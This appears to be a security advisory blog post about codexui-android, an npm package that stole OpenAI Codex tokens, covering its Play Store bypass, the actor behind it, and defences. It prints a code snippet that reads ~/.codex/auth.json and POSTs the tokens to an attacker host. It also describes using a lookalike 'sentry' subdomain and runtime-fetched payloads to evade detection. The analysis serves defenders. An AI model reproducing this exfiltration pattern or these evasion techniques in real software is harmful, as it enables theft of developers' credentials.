codexui-android: How a Codex 'Remote UI' npm Package Silently Stole 27k Devs' AI Tokens
A package called codexui-android sat clean on npm for a month, racked up 27,000 weekly downloads, then shipped an update that quietly siphoned every user's OpenAI Codex refresh token to sentry.anyclaw.store. The same author wrapped it in a Google Play app to bypass APK review. Here is the attack chain, the BrutalStrike connection, and what every Claude Code / Codex / Cursor user should do today.
Published 2026-05-28
TL;DR
- What: The npm package
codexui-android(a 'remote UI for OpenAI Codex' app) shipped a credential stealer from version0.1.82onward. Every invocation read~/.codex/auth.jsonand POSTed access/refresh/id tokens tosentry.anyclaw.store. - Why it worked: The exfil endpoint was named
sentry— the same word as the legitimate Sentry SDK the app already used for error reporting. Anyone watching network logs saw normal-looking Sentry traffic. - The kicker: Refresh tokens don't expire. Even users who rotate access keys monthly stay compromised until they explicitly invalidate the refresh token in their OpenAI dashboard.
- Mobile angle: The same author shipped a Google Play app (
OpenClaw Codex Claude AI Agent) that pulls the malicious npm package *at runtime*, bypassing Play Store pre-scan. - Actor: Linked to a GitHub account named BrutalStrike, also publisher of the 5M+ install FPS game *Brutal Strike*.
What happened
codexui-android launched as a web UI that turns any browser into a remote control for OpenAI Codex sessions. The pitch is genuinely useful — drive Codex from your phone, share sessions with a teammate, hand off long-running tasks. People installed it. By mid-May it had ~27,000 weekly downloads.
For about a month, the package was clean. That mattered: weekly download counts that high give the package the green-checkmark gloss reviewers look for. Then 0.1.82 shipped. The published source still did everything the README promised — *plus* one extra fetch call.
// simplified pattern, not the literal payload
const auth = JSON.parse(fs.readFileSync(os.homedir() + '/.codex/auth.json'));
await fetch('https://sentry.anyclaw.store/log', {
method: 'POST',
body: JSON.stringify(auth),
});
The exfil endpoint deliberately used the subdomain sentry. The package was already calling out to a real Sentry SDK for crash telemetry. To a developer reading their host firewall log — or a corporate proxy aggregating egress destinations — sentry.anyclaw.store looked like the same kind of traffic. Different domain. Same word. Same shape.
What got stolen
| Field in `~/.codex/auth.json` | What it gives the attacker |
|---|---|
access_token | Use Codex as the victim until the token expires (~1 hour). |
refresh_token | Mint new access tokens forever — until the user explicitly revokes. |
id_token | Identify the victim's OpenAI account. Useful for targeted follow-on social engineering. |
| account ID / org ID | Pivot to billing, team membership, and any API keys created under that org. |
The Android angle: how the Play Store got bypassed
Google Play scans APKs *before* publication. If the malicious code were bundled in the APK, the scanners would have at least a chance — they look for known stealer patterns, obfuscation, suspicious permission combos.
BrutalStrike published an Android app called OpenClaw Codex Claude AI Agent (10k+ installs) and a paid sibling called Codex (same codebase, app namespace app.anyclaw). Neither APK contains the stealer. Instead, on first launch, the app fetches the latest version of the codexui-android npm package and runs it inside an embedded Node-on-Android runtime. The malicious code arrives *after* installation, so the Play Store reviewers never see it.
This pattern — clean wrapper, runtime-fetched payload — is exactly how the Nx Console attack of 2026-05-18 worked. Different ecosystem, same playbook.
Who is BrutalStrike?
Researchers traced the package author to a GitHub account named BrutalStrike. The same persona owns the Android game Brutal Strike, a 5M+ install free-to-play FPS. The account had years of legitimate dev history before the codexui-android stealer landed — exactly the profile that survives 'this developer looks real' checks.
This is the meta-story of 2026 supply-chain attacks: the attackers are no longer disposable accounts. They are weathered, productive, plausibly-real developers who quietly ship one bad package. The Nx Console attack used a compromised maintainer account. codexui-android used a real one. The defender can't tell them apart from upstream.
Defense: what to do right now
If you ever installed codexui-android
- Revoke OpenAI tokens immediately. Open your OpenAI account → API → Sessions / Tokens → revoke all active tokens. This is the only thing that kills the stolen refresh token.
- Rotate every API key ever created under the affected account. Refresh-token access gives the attacker the ability to mint new keys under your name.
- Audit billing for the past 30 days. Codex sessions and API calls running on your token will appear on your invoice.
- Uninstall the npm package (
npm uninstall -g codexui-androidor remove the project dependency) and any of the related Android apps (OpenClaw Codex Claude AI Agent,Codexin theapp.anyclawnamespace).
If you use Claude Code, Cursor, Cline, or any agent CLI
- Treat
~/.claude/,~/.cursor/,~/.codeium/,~/.continue/as secret directories. Add them to your dotfile-encryption scope. Never sync them to a public repo. - Pin npm/uvx package versions in your MCP config.
npx -y [email protected]is much safer thannpx -y some-server. The Nx Console and codexui-android attacks both relied on auto-updates landing the malicious version. - Prefer OS keychain for storing OAuth secrets (macOS Keychain, GNOME Keyring, Windows Credential Manager). Any MCP server that insists on a plain-JSON
auth.jsonshould be a yellow flag. - Watch your egress for traffic to domains that *almost* match a real service:
sentry.anyclaw.storewas the trick. Tools like Little Snitch (macOS), OpenSnitch (Linux), or GlassWire (Windows) make this visible. - If you publish to npm, enable required 2FA + provenance attestation on your account. Compromised maintainer accounts are how the Mini Shai-Hulud worm spread (TanStack 2026-05-12, AntV 2026-05-19).
Structural changes the ecosystem still needs
- Refresh tokens should expire. Long-lived refresh tokens are great UX and a security liability. OpenAI, Anthropic, Google: please add explicit max-lifetimes with mandatory re-auth.
- Auth files should not live in plaintext JSON on disk. Every agent CLI should be reaching for the OS keychain by default.
- Package registries should flag 'new high-impact feature in a quiet maintainer's package'. A version bump that adds outbound network calls to a stable utility is a strong signal.
This is the third one this month
codexui-android is not an isolated case. The Nx Console v18.95.0 attack (2026-05-18) hit ~3,800 GitHub internal repos via a single employee laptop. Mini Shai-Hulud worms hit TanStack (2026-05-12) and AntV (2026-05-19, 300+ packages in 22 minutes). Today (2026-05-28) brought mouse5212-super-formatter — an LLM-generated stealer that burned itself by embedding its author's GitHub PAT in the payload.
Two patterns are now confirmed and durable: (1) MCP and agent-tool install commands are the highest-trust shell commands developers paste, which makes them the highest-value place to hide a stealer; (2) clean-then-poison packages with long stable histories are now the standard distribution method. Defenses that worked in 2024 don't apply.
Bottom line
The same three actions cover most of the realistic risk surface — for codexui-android, for Nx Console, and for whatever lands next week: pin versions, scope and revoke tokens explicitly, vet sources every time. Revoke first, ask questions later. The cost of an unnecessary revocation is 60 seconds; the cost of letting a refresh token live in attacker hands is open-ended.
FAQ
I installed codexui-android last week — am I definitely compromised?
Why didn't `~/.codex/auth.json` use the system keychain in the first place?
Does this affect Anthropic / Claude Code?
~/.<tool>/, POST to a sentry.* lookalike) applies trivially to ~/.claude/ and every other agent CLI. The defenses in the article apply to all of them.How do I find out if I have a stolen refresh token still active?
Is `app.anyclaw` related to the open MCP ecosystem?
app.anyclaw anywhere — uninstall.Should I avoid npm-based MCP servers entirely?
mcp add like sudo. Avoid 'use the latest' as the default. Audit your config quarterly. That brings the risk back into the same range as any other developer tool you trust.